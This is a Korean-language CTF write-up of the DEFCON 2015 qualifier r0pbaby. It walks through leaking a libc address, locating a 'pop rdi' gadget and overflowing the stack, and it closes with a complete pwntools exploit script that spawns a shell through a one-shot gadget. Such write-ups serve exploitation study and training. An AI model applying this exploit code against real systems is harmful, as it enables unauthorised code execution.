Defcon R0pbaby Writeup

LeeDoHyun · March 17, 2020

본 문제는 DEFCON CTF 2015 예선 ROP 문제입니다.

실행을 시켜보면

[email protected]:/home/Shared/defcon23# ./r0pbaby

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
:

이와 같이 나오는데 2번 메뉴에 들어가서 원하는 심볼을 입력 하면 던져주는듯 합니다. 여기서 puts를 입력해서 puts주소를 받아온뒤 이 주소에 libc puts주소를 빼줘서 base주소를 구하고 원샷을 될꺼같습니다.

그리고, 3번 메뉴를 보면 최대 1024바이트 까지 입력을 받고

LABEL_22:
        memcpy(&savedregs, nptr, v6);
      }

sfp8 바이트를 채워준후, 원샷을 넣으면 됩니다.

근데 여기서 문제는 pop rdi가 필요한데 PIE가 걸려있기때문에 ROPgadget으로 찾아준뒤 base주소를 더해주면 됩니다.

[email protected]:/home/Shared/defcon23# ROPgadget --binary libc-2.23.so |grep "pop rdi ; ret"
0x0000000000067495 : add byte ptr [rax], al ; add cl, ch ; pop rdi ; ret 0xffff
0x0000000000067497 : add cl, ch ; pop rdi ; ret 0xffff
0x000000000019dba2 : or byte ptr [rdx + 0xb], cl ; pop rdi ; ret
0x0000000000021102 : pop rdi ; ret
0x0000000000067499 : pop rdi ; ret 0xffff
0x0000000000001c26 : pop rdi ; retf 0x49f2
0x0000000000132e45 : pop rdi ; retf 0xffee
[email protected]:/home/Shared/defcon23#

ex.py

#!/usr/bin/env python
#-*- coding: utf-8 -*-

from pwn import *

context.log_level = "debug"
r = process("./r0pbaby")
e = ELF("./r0pbaby")
libc = ELF("libc-2.23.so")

pr = 0x21102

r.recvuntil(": ")
r.sendline("2")
r.recvuntil("Enter symbol: ")
r.sendline("puts")
r.recvuntil("Symbol puts: ")

puts = int(r.recv(18), 16)
base = puts - libc.symbols["puts"]
oneshot = base + 0x4526a

info("puts addr = " + hex(puts))
info("base addr = " + hex(base))
info("oneshot addr = " + hex(oneshot))

r.recvuntil(": ")
r.sendline("3")
r.recvuntil("Enter bytes to send (max 1024): ")
r.sendline("80")

payload = "A"*8
payload += p64(oneshot)
payload += p64(0) * 8

r.sendline(payload)
r.interactive()

Twitter, Facebook